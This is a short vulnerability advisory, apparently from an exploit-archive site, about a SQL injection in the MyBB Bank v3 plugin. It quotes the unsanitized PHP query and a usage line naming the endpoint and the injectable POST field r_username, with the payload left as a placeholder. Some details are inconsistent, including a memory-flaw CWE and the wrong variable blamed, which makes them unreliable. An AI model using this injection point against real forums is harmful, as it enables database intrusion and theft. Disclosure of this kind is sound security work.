MyBB plugin Bank v3 SQL Injection

2012.12.11
Credit: Red_Hat
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-119

# Exploit Title: MyBB plugin SQLi 0day # Exploit Author: Red_Hat [NullSec] # Software Link: http://mods.mybb.com/download/bank-v3 # Tested on: Windows & Linux. Vulnerable code : <?php $user=$_POST['r_username']; $pay=intval($_POST['r_pay']); $query_r=$db->query("SELECT * FROM ".TABLE_PREFIX."users WHERE username='$user'"); $fetch=$db->fetch_array($query_r); ?> The variable '$mybb->input['id']' remains unsanitized. Usage : http://www.site.com/bank.php /GET transactions=send /POST r_pay=Red_Hat&r_username=[SQLi] Shoutout to Zixem <3 & NullSec :3

References:

http://mods.mybb.com/download/bank-v3


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2025, cxsecurity.com

 

Back to Top